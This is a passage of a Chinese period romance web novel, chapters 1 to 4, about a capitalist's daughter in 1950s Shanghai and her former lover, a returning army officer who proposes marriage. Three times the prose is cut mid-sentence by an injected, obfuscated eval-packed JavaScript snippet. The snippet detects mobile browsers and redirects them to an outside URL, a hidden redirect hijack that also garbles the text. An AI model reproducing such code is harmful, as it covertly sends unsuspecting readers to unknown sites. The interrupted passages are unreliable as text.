《嫁前任[年代]》 1. 第 1 章 宁滟是被一阵上楼梯很重的脚步声吵醒,迷迷糊糊睁开眼,券形双联花玻璃钢窗凝结一层薄雾,晶莹剔透的水珠顺着玻璃往下滑落,微弱曦光从水珠轨迹渗透进室内,奶油色统排壁橱和五斗橱泛着浅浅光晕。 宁滟被光晕晃了神,隔了两秒才想起这是当年她和江骄的事情被父亲发现后,被强行搬离茂林别墅,派人严加看管她的公寓。 今天怎么会梦到这个地方? 正当宁滟心里疑惑,大门突然被敲响。 等门被推开,宁滟才发现大门门锁是坏的,久远的记忆又逐渐清晰。 搬进这间公寓第四年,沪城被我军解放。 建国第二年九月,看管她的刘姨出门再没回来后,沪二棉纺厂的公方代表找到她,才知道父亲早就先将他最宠爱的三姨太和两个儿子安置到香港,之后秘密出售名下多家工厂,将所得资金多方套汇,最终一起逃往海外。 完全忘记她这个原配生的女儿。 还是受其影响已经被定为资产阶级出身的女儿。 “你和江文彬没戏,他领导不批准。” 冷硬而熟悉的声音骤然将宁滟从记忆中拉回,宁滟脑袋空白了一秒。 猛地抬头,当看见同样熟悉但又陌生的背影,宁滟感觉心脏也跟着骤停了一秒。 她紧紧盯着大步往外走的背影,张唇想说话,背影倏然停住。 江骄凌晨刚从援朝战场荣归,下了火车就被领导抓住,要他顺道处理江文彬跟一个资本家千金小姐的事。 他被领导特地开车一路送到女方家,不得不上楼撂下一句话算是完成任务。 就当他快踏出门,突然从门口墙上的钢雕凤凰镜子看到一张泪眼朦胧的芙蓉面,身形刹那间僵住。 房间陷入寂静。 窗外鸟鸣不止,阳光温热后更为浓郁的白玉兰香气飘进房间,却覆盖不住江骄身上的血腥味。 江骄仔细辨别镜子里的脸,当最终确定后,眼神阴寒的已经能凝成冰。 江骄伸手将刚才推开门重重关上,穿着军装的胸膛不断起伏,下颌绷紧转头面向弹簧沙发,愤怒的鼻息突然一停。 刚才坐在沙发里的人不知道什么时候已经坐起,探着手直直朝他走了过来。 逐渐近在咫尺,又直直撞上他的胸膛。 柔软的触感撞碎了江骄眼里的阴寒。 还没等他反应,听到一声“咦?”,柔软的触感再次从胸膛传来,这次力道更重,宁滟整个人都被往后弹了一步,江骄下意识伸出手臂抓住了她的手腕。 温热从手腕席卷全身,宁滟瞪大双眼抬头看着江骄,“热的?” 江骄眼里的阴寒已经彻底不复存在,反而多了一丝茫然,很快又被让人看不懂的神色掩饰,“你以为我死了?” 没等宁滟回答,江骄紧紧盯着比起十年前更消瘦但却出落的更娇艳的脸,语气嘲弄:“没能如你所愿,我还活着。” 宁滟双眼震惊但充满喜色,“你,你能听见我说话?!” 江骄脸上的嘲弄再次因宁滟莫名其妙的反应消失,且一时说不出话来。 宁滟却已经不需要他回答,反握住他的手指,当摸到温热粗糙的手感,眼里的喜色更甚,从他的手指顺着手臂一路摸到了他的脸时,突然重重拍了一下他的脸。 突然挨了一耳光的江骄:“......” 还没来得及生气,就听到面前曾经抛弃过他的女朋友,两眼期待看着他问:“疼吗?” 江骄甚至有种曾经“始乱终弃”的人是他的恍惚。 没等到他的回答,宁滟着急的又抬起双手拍着他的脸,“疼不疼?” 被左右扇着脸,并逐渐扇的越来越重的江骄,终于从牙缝里挤出声音:“......疼。” 但却没想起抓住她的双手,阻拦她继续触碰自己的脸。 哪怕是扇他的脸。 江骄任由她的双手捧住他的脸。 看着宁滟眼里切切实实的惊喜,江骄冷硬的嘴角不自觉慢慢松懈。 等宁滟突然像是中奖了一样雀跃跑到窗边,江骄才感到脸颊一阵火辣。 宁滟拉开窗户,楼下花园里洁白的白玉兰盛放,闻着新鲜的空气,她突然朝着街外大声“喂”了一句,白玉兰枝头的鸟振翅而飞,街道上骑着二八大杠自行车的男工人也朝这边看了过来。 见到江骄的震惊与喜悦,已经被另一种巨大的狂喜掩盖。 父亲逃离之后,宁滟将茂林别墅捐给政府做地段医院,主动带头将父亲不知道是忘记还是没当回事的沪二棉纺厂申请公私合营。 公方代表相信她的立场,也知道她与父亲之前就立场不一样,但她是宁铭远的女儿,是更改不掉的事实。 即便公方代表和街道居委会都很照顾她,但避免不了资本家女儿出身成分带来的伤害,更重要的是那些想趁机占便宜的人让宁滟防的身心俱疲,她是在一个午后思念已故去的母亲和曾经的江骄中陷入灵魂梦游状态。 她看到了新中国的发展。 从五十年代公私合营到八十年代改革开放,再到二十一世纪后中国迅速腾飞的辉煌。 她陷入梦游状态,不断在这段近百年历史中循环,没人听得到她说话,她也无法触碰任何人,更没办法脱离梦境。 直到今天被一阵上楼的脚步声唤醒。 宁滟使劲嗅了嗅白玉兰香气,清晨新鲜空气逐渐平复因喜悦疯狂跳跃的心脏,身后极具压迫感的视线,让她想起还有另一件很重要的事。 宁滟转头,看向站在面前的江骄。 他穿着一身布满战场痕迹的军服,身材清瘦悍利,一张俊脸褪去了记忆中十七八岁少年稚嫩,眉若远山,长睫浓密,乌沉沉的眸子里不像当初看她总是藏满了情意,此时看着很是薄情寡义。 江骄敏锐捕捉到宁滟的情绪,他虽不懂刚才她的一些莫名其妙的动作意味着什么,但她要和江文彬结婚了却是当下的事实。 想到这里,江骄的脸色又慢慢恢复之前的阴寒。 只是比起刚才毫无血色的脸,被宁滟重重拍了几巴掌泛红的脸,这股阴寒终是不如刚才骇人。 宁滟被他说不清道不明,比起恨更像是贪婪的眼神盯的有些不自在,转身朝着五斗橱走去,翻箱倒柜只找出一罐已经见底的白砂糖,倒在两个喝花茶的瓷杯里,提起暖水壶,却发现暖水壶里的水已经没了热气,连白糖都难以化开。 宁滟来不及细想自己是睡了多久,略有点尴尬的将两杯白糖水端到茶几上,一杯放到离江骄比较近的位置,端起另一杯抿了一口,甜滋滋的口感让宁滟控制不住接着就将一整杯白糖水全喝光了。 江骄看着宁滟悄悄“咯吱咯吱”嚼着白砂糖,喝完不自觉还舔了舔嘴唇,眼神明显往他这杯又瞄了一眼:“.......” 江骄端起杯子递给宁滟,再次嘲弄出声:“不知道的还以为刚从战场回来的是你。” 宁滟使劲将眼神从杯子上收回来,摆了摆手,有礼道:“你喝。” 江骄将杯子放到宁滟面前,抬头打量这间公寓,脑子里回想的是李师长在过来路上对江文彬对象的介绍。 资本家卷款带着全家逃跑了,就留下一个原配生的女儿。 “这里就你一个人住?” “之前不是。” 宁滟看着回过头的江骄,继续解释道:“之前有一位刘姨住在这边,后来她走了,就剩下我一个人住了。” 江骄正想再问,一阵“咕噜噜”的声音响起。 宁滟慢慢将手放到因饥饿停不下来抗议的肚子上,垂下头, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17374919|200048||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 脸也跟着慢慢羞红。 江骄:“......” 气氛再次凝固住,江骄再次连生气都忘了。 他往厨房走去,很快又走出来,皱眉看着消瘦的宁滟,“太太怎么没和你一起住?” 宁滟:“我妈去世了。” 江骄过了很久才说话:“......什么时候的事?” 宁滟:“你走那年冬天。” 江骄面色一顿。 室内继续陷入长久的安静。 直到宁滟肚子再次开始叫唤了两声,江骄才朝着门外走去。 宁滟看着人走了,垂着头安静了很长时间,伸手将另一杯已经缓缓化开的白糖水端起来,舍不得的小口小口喝完,过程又持续了很久很久,甜意抚平了内心的酸涩,饥饿感却愈发严重,她不得不暂时将江骄放到一边,开始回想接下来生存的问题。 此时国家正在进行私营工商业社会主义改造,不久后将因为物资极度匮乏进入统购统销长达三四十年的票证时代。 即便她手里有点存款,但未来吃饭将要粮票,穿衣要布票,吃肉要肉票,而刚喝完的白糖水的白砂糖,都得要稀缺的糖票才能购买。 沪二棉纺厂公私合营之后,公方代表周厂长说过会帮她在厂里安排一份工作,让她自食其力。 公私合营全面完成还得一年左右,她得在各种票证铺天盖地进入社会之前,想办法去多囤积一些物资。 不过随着私房改造,住房公有制政策的实行,这套公寓也不会是她长久住所,估计有了正式工作之后,厂里会分给她一间亭子间,或是搬到厂里的集体宿舍。 想到这里,宁滟从书桌抽屉拿出纸笔,将原本打算囤积的物资减去三分之二记在纸上。 比起肚子的生存,出身成分将面临的生存更为严重。 最迟一两年将会开始的整.风反右,未来文.革,她资本家女儿的出身...... 笔尖停在纸上。 大门被推开。 宁滟意外抬头看着又回来的江骄。 他将铝饭盒放到茶几上,掀开盖子,饭盒里放着一客生煎馒头,两份油纸包裹的葱油饼和炸得金黄的粢饭糕,又将绿色军用水壶拧开盖子放到她面前,浓郁的豆浆香气弥漫鼻尖。 江骄什么都没说,从餐桌下面拉出一把椅子,放到她对面坐下。 “十分钟,把肚子填饱,我有话问你。” 想到刚才他讲话一再被自己肚子的饥饿声打断,宁滟往前挪了挪,看了一眼底部金黄酥脆的生煎,又想到只有十分钟,选择拿起油纸包的葱油饼。 “你不一起吃吗?” “不饿。” 宁滟刚准备咬,对面的江骄站了起来,往厨房走去。 过了一会儿,江骄端着一个小碗和一双筷子出来。 碗筷放到宁滟面前时,发现碗里倒了用来蘸生煎馒头吃的米醋。 宁滟看着坐回去一声不吭的江骄,“.......谢谢。” 宁滟认真吃着久违的食物,油滋滋酥脆的葱油饼,外表酥脆内里软糯的粢饭糕,还有肉馅鲜嫩多汁的生煎馒头蘸了醋一口饱满爆浆。 “可以二十分钟。” 对面传来的声音打断了已经彻底沉浸在享受美食中的宁滟,略带疑惑看过去。江骄抿了抿嘴角,“不用着急,可以二十分钟。” 宁滟还没说话,江骄又道:“半个小时也行。” 并没有着急的宁滟,被他这么一说,想到可能自己吃相不太好,只好放慢了节奏,匀速进食。 每样剩了一半,显得刚从战场上下来的不是她,宁滟放下筷子,用手绢擦了擦嘴唇,“我吃好了。” 江骄眼神变得阴沉,语气也比刚才变得冰冷:“你和江文彬在一起多久了?” 2. 第 2 章 宁滟初醒过来接着就面对十年不见的江骄,脑子已经很乱了,听到他这么问,好半天脑子无法处理好这句话的信息与意思,懵然看着他。 江骄见宁滟沉默不语,眼神温度又下降了几度,脸色沉得能滴出墨,血腥味在室内弥漫。 “他好歹是我的弟弟......” “江文彬是谁?” 江骄咬牙切齿挤出一半的话,同宁滟一头雾水的话撞到了一起,江骄满腹怒火又一次被骤然掐住。 “你弟弟?”宁滟仔细回想,从记忆中挖出一张灰头土脸眼睛很亮的少年的脸,“当年从雾城回来的那个弟弟?” 江骄辨别出宁滟不是在装模作样,浓密长睫微不可闻煽动一下,没有出声,等着宁滟说下去。 “你刚才说什么?”宁滟眉头皱起,“我和你弟弟在一起多久了?你为什么会这么问?” 江骄紧握着的手指微微蜷缩,扶在把手上,垂着眸子思考片刻,“你听错了。” 宁滟眼里雾水更重,“听错了?那你刚才说的是什么?” 江骄答非所问:“你现在是单身状态?” 宁滟一顿,点了点头。 江骄长睫比起刚才,更明显的煽动一下,嘴角也微微扯了扯,想继续再问,但却不敢再开口,害怕听到不想听的答案,伸手将茶几上每样剩下一半的早饭都拿过来。 宁滟看他要把葱油饼往嘴里塞,忙道:“这是我吃剩下的。” 江骄看她一眼。 没有言语,宁滟却读懂了他的眼神是在说:我吃过你剩下的东西还少了? 宁滟端起军用水壶掩盖住半张脸,将要放到嘴边,此时才想起,这水壶应该也是他平时用过的? “洗过了。” 宁滟抬头看他。江骄指了指水壶,“装豆浆之前,仔细冲洗过了。” 宁滟抱着军用水壶,没再继续喝。 她本来就已经吃的很饱了。 “你不是说不饿?” 江骄朝着她抱着的军用水壶伸手。宁滟下意识递给了他,看着他将她刚才喝过的水壶举高,用嘴唇压住瓶口,不自在转开视线,耳朵微热。 片段式的记忆不知道从哪里又开始冒出来。 昏暗的窗边,窗外虫鸣不止,海棠花香气裹着轻风从窗缝飘进屋里,年少的她强压着年少时的他不准他走,学着白天在电影院里看到的外国男女嘴唇碰嘴唇的海报。 接吻。 “你现在,有没有准备结婚的对象?” 略有点僵硬的声音打断宁滟沉浸的记忆,抬头看到江紧紧盯着她的脸和被豆浆润过显红的嘴唇,不自觉咽了咽口水,却显得更不对劲,连忙摇了摇头,“没有。” 江骄被宁滟突然扬高声调的回答怔了一下,很快又因她这么“慷锵有力”像是某种表明心意的“没有”,嘴角罕见的出现一点上扬的角度。 江骄站起身,“知道了。” 宁滟看着他往外走,只跟着站起身。 江骄什么话都没再说,头也不回的走出大门。 宁滟站在江骄刚才站过的位置,看着钢雕凤凰镜子里的自己,看了一会,用手摸了摸捏不出肉的脸颊。 “再怎么样,都比梦游循环状态要好!” 宁滟转身走进卧室,从床头柜抽屉里找出放钱的饼干盒,准备继续前面正在做的囤积一部分物资的事,眼下还有一件重要的事,是先去找个锁匠换一把锁,否则像之前一样搞得精疲力尽,说不定还会再陷进循环梦游状态。 想到之前的状态,宁滟不自觉打了一个寒颤。门口紧接着传来略熟悉的撬锁声音,宁滟再次一激灵,下意识朝着枕头下面伸手,却听到江骄的声音再次响起:“我请战友送了粮食过来。” 宁滟平复了一下心跳,才朝着客厅走去,先对上一张布满风吹雨打痕迹但充满好奇的脸。 “快修。” 江骄左手拎着一袋面粉一袋大米,右手拎着一篮子蔬果猪肉,挡住战友,“饭盒里有食堂烧好的菜和米饭,这些我先放到厨房。” “你不是走了?” “下去接他。” 江骄刚往厨房走,被挡住的战友又抬头朝她看了过来。 宁滟一笑,“谢谢,辛苦你了。” “你谢老江就行了。”战友爽朗一笑,“我叫吴通,跟老江是十多年的战友了,当年他参军,我是他班长,解放那年我就结婚了,现在小儿子都能跑了,他连对象的影子......嘿嘿!” 宁滟被他突然停住又紧跟着窃喜的笑声,深受感染没忍住跟着一笑。 吴通看了一眼宁滟,拿着起子把门上的螺丝拧下来,又嘿嘿一笑,“怪不得。” 江骄走出来:“两分钟了。” 宁滟看着吴通不笑了,迅速将锁拆下来,拿出新的插销安在门上。 江骄:“加固。” 宁滟看着他,点了点头,松了口气,“谢谢。” 江骄:“我烧了一锅热水,饭盒放在锅里保温。” 宁滟微怔。 这是以为她还像当年的她一样,连用什么打着炉灶的火都不知道? “换好了。” 吴通开门又关门试了试新换好的锁和插销,“没问题,我先下去等你?” “一起走。” 江骄转头看向宁滟,“屋里还缺什么,还有哪些东西要买?” 宁滟再次一怔,“不用,我自己会买,对了,钱......” “时间紧,我先回部队报道。” 宁滟才刚准备掏钱,江骄就撂下一句话走了。 宁滟往外追了两步,江骄走的很快。 吴通回头嘿嘿一笑,“不急,不急。” 宁滟看着江骄背影消失在楼梯口,低头看了一眼换好并加固一道插销的门锁,关上大门,慢慢走到厨房。 窗外传来汽车发动的声音,阳光照在马赛克地砖上的一袋大米和一袋面粉,灶上的锅盖一圈正徐徐冒着热气,温湿了宁滟眼眶。 · “报告!” “进。” 江骄推开师长临时办公室的门,门内不出意外或站或坐等满了师部政工领导班子,一双双眼睛扫描他的表情,企图从他的脸上找出他们想听的答案。 “怎么样?” 没人能从江骄脸上看出东西,李师长没忍住先问:“那姑娘什么态度?她不同意?” “我看,没戏。” “我早说了,就不应该从女同志那边着手。” “你这副架势过去,也没能把那姑娘吓着?” “这可怎么办,这是总部交代下来的任务。” “再让江骄去把他弟弟揍一顿,揍到不敢娶为止!” 领导班子个个一脸失望但情绪激昂,江骄脸上依然没有表情:“解决了。” 激昂的气氛戛然而止,已经皱眉去掏烟的李师长动作一顿,“解决了?” “解决了。”江骄道:“她不会和江文彬结婚。” 李师长的表情像是没反应过来,又像是有点不相信,“真的?你确定?” 江骄:“真的,我确定。” “好,好好好。”李师长脸上露出笑容,“我就知道你去能行,江骄出马,一向一个顶俩,不,你一出马,顶上我们一群人!” “江骄功劳最大,但师长你能想到让江骄去办这件事,你的功劳也不小!” 刘政委高兴道:“这下能给总部一个交代了!” “老江,你是怎么解决这件事的?” “哎对啊!老江,你不会真的是去吓唬人女同志了吧?” “不能,老江平时没对女同志说过重话。” “他平时哪是对女同志没说过重话,那是压根就没对女同志说过 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17374920|200048||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 话!” 笑声接连响起,将话题引到了另一个方向。 李师长及时拉了回来:“说说,你是怎么让人姑娘同意不结这婚了?” 一封结婚申请报告,递到了李师长面前,江骄:“我娶。” 满屋笑声戛然而止。 李师长刚点燃的烟僵在了手指中间,刚给师长点烟的刘政委,手上还拿着刚吹灭还没丢掉的火柴,火柴焦黑的部分缓缓上升着一道黑烟。 江骄道:“另外,我想请师长和嫂子给我当介绍人,帮我向女方提亲。” 刚准备讲话的李师长,嘴巴张了一半停住,好半天才找回声音:“你说什么?提亲?那你这结婚报告是什么意思?合着是你单方面的意愿,还没跟人姑娘商量?” “不是,你怎么去了一趟,要和自己弟弟的结婚对象结婚了?”刘政委用力丢掉手里的火柴:“这不胡闹吗!” “这是杀身成仁啊!为了完成上头交给我们的任务,老江不惜舍己为公!” 正吹胡子瞪眼的李师长和刘政委,听到一旁干部这么一喊,怒气一僵,才反应过来江骄是这个意思,顿时感动和愧疚从心头浮到脸上。 李师长像是捧起千斤重的结婚报告,手指颤抖,眼眶湿润看向江骄,“你小子.......” 刘政委走过来,重重摁住江骄的肩膀,“江骄同志,你的一片心,组织都感受到了,你放心,我们绝不可能牺牲你的个人婚姻,去完成上面交代下来的任务。” “没错,虽然我们不愿意看到一位未来有可能会成为尖端国防人才的同志,在这种关键阶段受婚姻拖累,但你更是我们3师唯一一个参加全国英模表彰大会,被总理亲口拍肩表扬要好好培养的小诸葛!是我们师引以为傲的一级战斗英雄!” 李师长激动表达完态度,“这事,我们再想其他办法,你辛苦了,回去好好休息。” “她原来就是我对象。” 江骄一句话又将办公室愈演愈烈的煽情气氛震得戛然而止。 江骄接着道:“不过,在结婚报告被批准之前,我不希望你们像处理江文彬的事一样,什么情况都没搞清楚就打扰到她那边去。” “你原来什么时候有对象了?”李师长瞪圆了眼睛,“不是,你刚才这句话又是什么意思?” 江骄:“她没和江文彬有过任何联系。” “什么?” 李师长瞪圆了眼睛,“还有这种事情,江文彬的事从总部弄到我们这了,他结婚报告都打了,难道跟女方不是在谈对象,也没跟女方商量?” 江骄:“我只知道女方的情况,江文彬那边什么情况,我知道的还没有你们知道的多。” 李师长脸色难看:“那你不是和你弟弟一个样,连女方态度都不知道,就单方面要跟人结婚了!” “我单方面这件事,是师长听完我想请你和嫂子帮我提亲后单方面武断的结论,我初步问过,她目前没有准备结婚的对象。” 江骄道:“在进一步问她的态度之前,我要确定我这边不会有任何问题。” 李师长正想骂人,被吴通抢先道:“师长,是这样。” “老江先打结婚报告,是想确保组织同意,免得人家女同志同意了,组织却不同意,让人空欢喜一场,这是为人家女同志考虑周全,请你和嫂子正式央媒说亲,这更说明他有多尊重人家女同志,跟那个江文彬的一厢情愿,一声不吭就给人家女同志找麻烦可完全不一样。” 吴通“嘿嘿”一笑:“再说,人家两个人十年前就是对象,跟江文彬的情况就更不一样了,而且我刚见过那位女同志,她看老江的眼神,可不比老江看她的眼神少什么。” 吴通本意是想帮江骄说情,话刚说完却发现江骄率先转头,双眼亮得吓人看着他。 吴通顿时丈二和尚摸不着头脑,开始回想自己刚才是不是说错什么帮倒忙了。 3. 第 3 章 李师长的办公室烟雾缭绕,每个干部手里都点燃了一根卷烟,一个个都皱紧了眉头,一双双眼睛也都时不时聚焦在江骄身上。 “我不同意。” 李师长将一根烟抽完,踩灭了烟头,板着脸道:“上面那样反对江文彬同志跟那名女同志结婚,我听说最重要的一点就是那姑娘海外关系复杂,而且,我还听说最反对的人就是你父亲,你弟弟结不成婚,我看你也别想得到你父亲那边的同意。” 江骄道:“我已经打电话通知我娘从老家赶去驻地,帮我布置新房,明天就能上火车。” 李师长面色微顿。 明白江骄嘴里的娘,是他的养母。 虽然有一个在军校当副校长的父亲,但江骄从来都不提。 之前忙着打仗,没时间细聊这方面的事,但看江骄这个态度,意思明显是只认养母。 “父子之间有什么过不去的,你说你立下那么多的战功,当初也是因为你识字识得多,认识地图还会画地图,这是多么稀罕的技能。” 李师长劝道:“我记得当初我和一纵队被困枣村,你跟着老常带人过来增援,多亏你及时发现敌军绘制地图有误,才没能延误时间,避免我们的损伤。” “对,当初你还只是一连的小班长。”刘政委接着道:“就是这件事,我发现咱团还藏着你这颗金子,立刻就把你安排到侦察连,更没想到,你小子除了会画会看,还能会认会说日语,多少次胜仗都是因为分析出缴获的敌军文件和地图。” “我以前除了佩服老江,心里别提多羡慕他了,不像我们都是文盲大老粗,现在还得去上扫盲班。” “老江不但会日语,还会英语呢,那些地图,作战文书、侦查照片,都有英文标注,都是多亏老江看得懂,选好伏击阵地,我们才能少死那么多兄弟。” “老江的厉害我是服气的,但你这身赫赫战功,也是多亏了你这些识字画图的本领。” “我跟我爹关系也处不好,不过,只要打一斤白酒,没什么过不去的。” ...... “我十二岁饿着肚子进城,没吃到我亲生父亲家的一口饭。”江骄道:“大冬天饿晕在路边,是她救了我。” 一群没了办法,把希望放在江骄亲生父亲身上的干部们,再次戛然而止。 “当初她学画画,正好到了练习真人模特的时期,因为这点,我被留下来,在那年冬天吃饱穿暖,没有饿死在外面。” 江骄道:“所以我会画画,是耳濡目染跟她学的,她是一个天才画家,在她主动学习世界各国各家之长,自创一代新风的过程里,我也跟着认识了不止一门外语,我学的文化,也是因为跟着她陪读。” 办公室陷入安静。 李师长和刘政委对视一眼,又一起从兜里掏出了香烟。 “还有你们刚才没提到的会开车,有武术功底,都是后来给她当保镖司机时期去学的。” 江骄表情很淡,但语气比平时有温度,“我党讲究实事求是,她是出身于资本家,但她和她父亲不是一个立场,这一点从她一个人被丢下,足以证明这些年没有变,至于更多情况,我会再找资料证明。” 刘政委抽了几口烟,褪去脸上吃惊之后,缓缓道:“要这么说来,她是你的救命恩人。” “这可不是一般的救命恩人。” “这是再生父母也不为过!” “这可比我们村里以前地主家的小姐们不一样。” “你说你们俩原来是对象,你跟我同一年参军,她现在还没结婚,人家等了你十年?” 办公室又换了一个气氛,从先前的着急变得雀跃兴奋,大男人们的脸上还充满了感动。 江骄没有说话。 李师长抬眉:“你刚才说你没有进一步问人家的态度,你不敢直接问,就是一厢情愿,既然是一厢情愿,想报恩也不用非得以身相许,不如在她需要帮助的时候,你多帮助,就像对再生父母一样孝顺!” 江骄:“.......” 刘政委没有再像先前一样连忙与李师长一唱一和,但也没有点头同意,一部分干部沉默,一部分干部认同李师长说的话,江骄突然走了出去,没给他们开口帮腔的机会。 留在李师长面前的结婚申请报告,却让领导班子知道,江骄认准的事,一如往常,绝不会轻易放弃。 · 清晨,宁滟换上一身黄绿色棉织卡其列宁装,出门就迎面遇上正靠在走廊墙壁闭眼休憩的江骄。 江骄睁开长睫,看着宁滟的装扮明显一怔。 宁滟低头看了一眼自己,没有主动说话。 “出去?”江骄抬起手臂揉了揉后脖颈,眉眼因初醒变得有些懒,“我送你。” “不用了。” “顺路。” 宁滟:“......” 她都没说去哪,顺什么路? “你,什么时候来的?” “昨晚十点左右。”江骄站直身体,“本来准备早点过来,给你做晚饭,找资料找的过于投入,反应过来就已经九点钟了。” 没等宁滟回答,江骄又道:“不过十点过来的正好,刚好在你门口抓了一个毛贼,送派出所去了。” “毛贼?” 宁滟脸色微变,想到了是谁,但不确定,“他长什么样子?” “忘了,脖子上挂着照相机。” 宁滟握紧了手里的竹篮。 江骄:“放心,在他住所找到了不少证据,的确是个毛贼,短时间内他不会出来了。” 宁滟看着他,“......你等我,有什么事吗?” 江骄道:“你有事出门,可以下次再说。” 宁滟想到昨天他刚送过来的粮食,转身走回屋里,放下竹篮,倒了两杯白开水,“我没什么事,请进吧。” 昨天过来,江骄根本没有心情看这间公寓长什么样子,现下粗略扫看一圈,坐进昨天坐过的沙发。 宁滟等他开口说话。 江骄:“1947年,你从沪城美专中途辍学,为什么?” 宁滟没想到他会问这个问题,怔了许久,“你问这做什么?” “我记得当初你一直期待上大学,终于等到梦寐以求的美专重建,只读了一年多就辍学了,为什么?” 江骄望着宁滟,“难道是因为......感情问题?” 宁滟从他的语气里听出一丝嘲弄,“这是我的私事。” “私事。” 江骄眸光阴沉沉,盯了宁滟很长时间,才继续道:“我记得,当初我留下了一些东西放在你那边,你搬到这边,有没有一起搬过来?” “东西?” 宁滟疑惑问:“什么东西?” “1938年6月21日《战斗报》,1941年3月12日《救国时报》,1942年6月12日《苏中时报》,1942年2月15日《新华日报》,1942年8月 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17374921|200048||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 14日《东北周报》......” 随着江骄接连报出精准日期的报纸,宁滟听得愈发疑惑,“报纸?这些报纸放在什么地方?” 江骄沉默。 “你不知道?” 宁滟摇头,“不知道,很重要吗?这些图书馆应该找得到,需要我帮.......” 宁滟习惯性的开口,说到一半便停下。 想起今时不同往日,十几年前他有需要,图书馆、报社、档案馆、私人收藏、她都可以想方法帮他找到。 十年之后,两人身份已经颠倒。 她是走到哪里都会被严加审查、防备的黑五类。 而他是根正苗红,走到哪里都会被热情优待、追捧的解放军。 他还是军官,他想要的这些东西,只要知道哪里有,他随随便便就可以得到。 而她连大门可能都迈不进去。 宁滟沉默,但因为宁滟刚才习惯性的话,江骄却放松端起了她倒的白开水,喝了大半杯。 宁滟起身想帮他加水。江骄却摆了摆手,“上次问你,目前没有结婚对象,我目前也没有。” 宁滟等他继续说下去,他说完这句却看着她,不再吭声。 宁滟:“......所以?” “曾经我答应过太太,如果有朝一日你有需要,我会照顾好你。” 江骄抬眼看她,“我的年龄不小了,仗打赢了,是该考虑个人家庭问题,如果你没有其他选择,不如嫁给我。” 宁滟双眼圆睁,看着江骄。 江骄也握紧水杯把手看着她。 心里想的却是昨天才跟领导班子说,准备等他这边没有问题再进一步问女方的意见。 这才刚从宁滟对他的态度中找到以前的痕迹,就没忍住跳过进一步,直接问最终答案了。 “当然,你得考虑清楚,嫁给我,坏处比你想象中还要多。” 江骄打破沉默,索性继续道:“首先,我不能接受夫妻两地分居,而我们驻地环境肯定不能跟沪城比,像抽水马桶、弹簧软床、热水汀、洋房花园公寓、保姆伺候全都没有,也没有你以前常穿的法国时装,翡翠、钻石、黄金、皮毛大衣也没有条件再穿戴,那边夏天热如蒸笼,冬天冷如冰窖......” 刚才突然听到江骄提到嫁给他,宁滟心里有一瞬间猜想,江骄是不是准备报复她。 她以为听到的会是以根正苗红军官的身份,居高临下带着优越感,一一细数嫁给他的好处。 但没想到,江骄一一细数的却都是嫁给他的弊处。 宁滟眼睛温热酸涩。 江骄被宁滟眼里的水光掐住后半段要说的话,看着宁滟的脸,想到了她名字的由来。 水光潋滟晴方好。 她的名字,就是因为她的外貌极贴这句诗,才取了单字滟。 “你也不用太沮丧担心。”江骄语速微微变急:“没有洋房别墅公寓,也不会让你住土胚房,我是团级干部,分到的是三室一厅带小院的红砖瓦房,没有打蜡的柚木拼花地板,也是水泥地坪,院子没有你原来住的茂林别墅花园那么大,但你想种花也够种,嫁给我坏处是不少,但我挣的钱都会交给你,你想买什么我绝不会有二话。” “这些哪里是坏处。” 宁滟深深呼吸两下,将眼泪忍回去,“谢谢你,江骄。” 江骄暗自握紧手指,“谢谢的意思,你是答应了?” 还是拒绝? 4. 第 4 章 未来三十年,她唯一能够确保自己安全的路,正是眼前江骄提供的路。 特殊时期,就连高干们都纷纷将自己的孩子抢着送到军队里躲避。 但她的出身可以更改的可能性微乎其微,甚至可以直接说没有任何更改的可能。 那么一个资本家后代出身的她,明知历史,明知一定会对他的前程造成影响,她宁愿走一步看一步,在工作中积极表现,去博一个可能性,也不能就此拖累他。 宁滟摇了摇头,还没来得及说话,江骄脸色就沉了下去,“你不是说你目前没有结婚对象?” “是没有,但是......” “那就是担心会影响到我?” 宁滟惊讶看着江骄。 江骄看她的表情,就知道刚才的话说中了,脸色由阴转晴,“你不用考虑我这边,如果你有需要我没照顾到,升再高的官,我也睡不安稳。” 宁滟心脏被戳了一角。又听江骄补充道:“我是说,太太在那边,也不会让我睡安稳。” “政审,应该通不过。” 宁滟理性分析情况道:“我父亲阳奉阴违逃跑,情况很恶劣,你这个年龄既然已经是团级干部,想必很受军队重视,你这么有前途,你们领导不会同意你找一个资本家出身的婚姻对象。” 江骄脸上第一次出现笑意,“这你不用担心,只要你同意,这婚就结得成。” 宁滟被钢窗玻璃折射出的金光晃了眼睛,微微眯起长而卷翘的睫毛,皮肤几近透明,让人想到阳光照在水面,波光粼粼。 